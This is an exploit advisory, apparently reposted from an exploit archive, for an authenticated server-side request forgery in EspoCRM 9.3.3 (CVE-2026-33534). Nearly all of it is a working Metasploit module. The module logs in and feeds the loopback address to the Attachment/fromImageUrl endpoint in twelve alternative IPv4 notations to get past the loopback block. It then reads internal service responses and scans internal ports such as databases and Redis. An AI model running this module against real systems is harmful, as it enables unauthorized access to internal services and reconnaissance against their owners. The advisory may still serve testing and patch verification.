Share
## https://sploitus.com/exploit?id=PACKETSTORM:223717
==================================================================================================================================
| # Title : EspoCRM 9.3.3 SSRF via Alternative IPv4 Notation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.espocrm.com/ |
==================================================================================================================================
[+] Summary : an authenticated Server Side Request Forgery vulnerability in EspoCRM versions up to 9.3.3.
The vulnerability exists in the Attachment/fromImageUrl API endpoint which allows users to fetchimages from remote URLs.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'EspoCRM Authenticated SSRF via Alternative IPv4 Notation',
'Description' => %q{
This module exploits an authenticated Server-Side Request Forgery (SSRF)
vulnerability in EspoCRM versions up to 9.3.3. The vulnerability exists
in the Attachment/fromImageUrl API endpoint which allows users to fetch
images from remote URLs. By using alternative IPv4 notations (octal, hex,
decimal, short formats), an attacker can bypass the loopback address
restrictions and make requests to internal services.
Successful exploitation allows reading internal service responses,
scanning internal ports, and potentially accessing sensitive internal
endpoints that are not exposed to the internet.
Tested on EspoCRM 9.3.3 with PHP 7.4 and Apache.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-33534'],
['URL', 'https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73'],
['URL', 'https://github.com/espocrm/espocrm/releases/tag/9.3.3']
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8083,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base EspoCRM path', '/']),
OptString.new('USERNAME', [true, 'EspoCRM username']),
OptString.new('PASSWORD', [true, 'EspoCRM password']),
OptString.new('INTERNAL_HOST', [false, 'Internal host to target (default: 127.0.0.1)']),
OptInt.new('INTERNAL_PORT', [false, 'Internal port to target']),
OptString.new('INTERNAL_PATH', [false, 'Internal path to request', '/']),
OptString.new('FIELD', [false, 'Attachment field used by fromImageUrl', 'avatar']),
OptString.new('PARENT_TYPE', [false, 'Parent entity type', 'User']),
OptString.new('PARENT_ID', [false, 'Optional parent entity ID']),
OptBool.new('CLEANUP', [false, 'Delete created attachments', false]),
OptInt.new('TIMEOUT', [false, 'HTTP timeout in seconds', 15])
])
@ssrf_payloads = [
{ name: 'octal_dotted', host: '0177.0.0.1' },
{ name: 'octal_dotted_padded', host: '0177.0000.0000.0001' },
{ name: 'octal_compressed', host: '0177.1' },
{ name: 'hex_dotted', host: '0x7f.0.0.1' },
{ name: 'hex_dotted_full', host: '0x7f.0x0.0x0.0x1' },
{ name: 'hex_dword', host: '0x7f000001' },
{ name: 'decimal_dword', host: '2130706433' },
{ name: 'octal_dword', host: '017700000001' },
{ name: 'short_ipv4_two_part', host: '127.1' },
{ name: 'short_ipv4_three_part', host: '127.0.1' },
{ name: 'zero_padded_dotted', host: '127.000.000.001' },
{ name: 'long_zero_padded_octal', host: '0000000000000000000000000177.0.0.1' }
]
end
def login
print_status("Authenticating to EspoCRM at #{target_url}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
'ctype' => 'application/json',
'data' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_json
)
unless res && res.code == 200
print_error("Authentication failed. Check credentials.")
return nil
end
begin
json = res.get_json_document
token = json['token']
if token
print_good("Authentication successful")
return token
end
rescue JSON::ParserError
print_error("Failed to parse authentication response")
end
nil
end
def make_authenticated_request(token, uri, host, port, path, method = 'POST', data = nil)
ssrf_host = host
ssrf_port = port
internal_url = "http://#{ssrf_host}"
internal_url += ":#{ssrf_port}" if ssrf_port && ssrf_port != 80
internal_url += path
payload = {
'url' => internal_url,
'field' => datastore['FIELD'],
'parentType' => datastore['PARENT_TYPE']
}
if datastore['PARENT_ID']
payload['parentId'] = datastore['PARENT_ID']
end
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment/fromImageUrl'),
'ctype' => 'application/json',
'headers' => {
'Authorization' => token,
'Accept' => 'application/json'
},
'data' => payload.to_json
)
end
def delete_attachment(token, attachment_id)
send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/#{attachment_id}"),
'headers' => {
'Authorization' => token,
'Accept' => 'application/json'
}
)
end
def check_internal_service(token, host, port, path)
print_status("Testing internal service at #{host}:#{port}#{path}")
res = make_authenticated_request(token, nil, host, port, path)
unless res
print_error("No response from SSRF request")
return nil
end
if res.code == 200
begin
json = res.get_json_document
if json && json['id']
print_good("Successfully accessed internal service via SSRF!")
print_status(" Attachment ID: #{json['id']}")
print_status(" File Type: #{json['type']}")
print_status(" Size: #{json['size']} bytes")
return { 'id' => json['id'], 'type' => json['type'], 'size' => json['size'] }
end
rescue JSON::ParserError
print_good("SSRF request succeeded (non-JSON response)")
return { 'id' => nil, 'response' => res.body }
end
else
print_error("SSRF request failed: HTTP #{res.code}")
print_status("Response: #{res.body[0..200]}") if res.body
end
nil
end
def check_direct_loopback(token)
print_status("Testing direct loopback (should be blocked)")
internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
internal_path = datastore['INTERNAL_PATH'] || '/'
res = make_authenticated_request(token, nil, '127.0.0.1', internal_port, internal_path)
if res && res.code == 403
print_good("Direct loopback correctly blocked (HTTP 403)")
return true
elsif res && res.code == 200
print_warning("Direct loopback was NOT blocked! This suggests the target is not vulnerable or already patched differently.")
return false
else
print_status("Direct loopback returned HTTP #{res&.code || 'no response'}")
return false
end
end
def scan_internal_ports(token, host, ports, path)
print_status("Starting internal port scan on #{host}")
open_ports = []
ports.each do |port|
print_status(" Testing port #{port}")
res = make_authenticated_request(token, nil, host, port, path)
if res
if res.code == 200 || res.code == 201 || res.code == 204
print_good(" Port #{port} is OPEN (HTTP #{res.code})")
open_ports << port
elsif res.code == 403 || res.code == 404
print_status(" Port #{port} - HTTP #{res.code} (service may be listening but blocked)")
else
print_status(" Port #{port} - HTTP #{res.code}")
end
else
print_status(" Port #{port} - No response (likely closed/filtered)")
end
end
open_ports
end
def read_internal_response(token, host, port, path)
print_status("Reading internal response from #{host}:#{port}#{path}")
res = make_authenticated_request(token, nil, host, port, path)
if res
print_status("Response received:")
print_line(res.body) if res.body && !res.body.empty?
return res.body
end
nil
end
def run_host(ip)
print_status("Starting EspoCRM SSRF scan against #{peer}")
token = login
unless token
print_error("Authentication failed. Cannot proceed.")
return
end
loopback_blocked = check_direct_loopback(token)
unless loopback_blocked
print_warning("Direct loopback not blocked. SSRF may not be exploitable with alternative notations.")
end
internal_host = datastore['INTERNAL_HOST'] || '127.0.0.1'
internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
internal_path = datastore['INTERNAL_PATH'] || '/'
print_status("Testing #{@ssrf_payloads.length} alternative IPv4 notations")
successes = []
@ssrf_payloads.each do |payload|
print_status("Testing payload: #{payload[:name]} -> #{payload[:host]}")
result = check_internal_service(token, payload[:host], internal_port, internal_path)
if result
success_info = {
'name' => payload[:name],
'host' => payload[:host],
'attachment_id' => result['id'],
'type' => result['type'],
'size' => result['size']
}
successes << success_info
print_good(" SUCCESS! Payload #{payload[:name]} bypassed restrictions")
if datastore['CLEANUP'] && result['id']
print_status(" Cleaning up attachment #{result['id']}")
delete_attachment(token, result['id'])
end
if datastore['StopOnFirst']
print_status("Stopping after first successful payload (--stop-on-first)")
break
end
end
end
if successes.empty?
print_error("No SSRF payloads succeeded. Target may not be vulnerable.")
return
end
print_good("Vulnerability confirmed! Found #{successes.length} working payload(s)")
successes.each do |success|
print_status(" - #{success['name']}: #{success['host']} -> attachment #{success['attachment_id']}")
end
print_status("Attempting to read internal service response...")
read_internal_response(token, internal_host, internal_port, internal_path)
if internal_host == '127.0.0.1'
print_status("Localhost detected - offering internal port scan")
ports_to_scan = datastore['PORTS'] || [80, 443, 8080, 8083, 3306, 5432, 6379, 9200, 27017]
open_ports = scan_internal_ports(token, internal_host, ports_to_scan, internal_path)
unless open_ports.empty?
print_good("Found #{open_ports.length} open internal port(s): #{open_ports.join(', ')}")
report_note(
host: ip,
port: datastore['RPORT'],
type: 'espocrm_ssrf_ports',
data: open_ports,
update: :unique_data
)
end
end
report_vuln(
host: ip,
port: datastore['RPORT'],
name: name,
refs: references,
info: "EspoCRM SSRF via alternative IPv4 notation (#{successes.length} payloads succeeded)"
)
end
def target_url
proto = (datastore['SSL'] ? 'https' : 'http')
host = datastore['RHOST']
port = datastore['RPORT']
"#{proto}://#{host}:#{port}"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================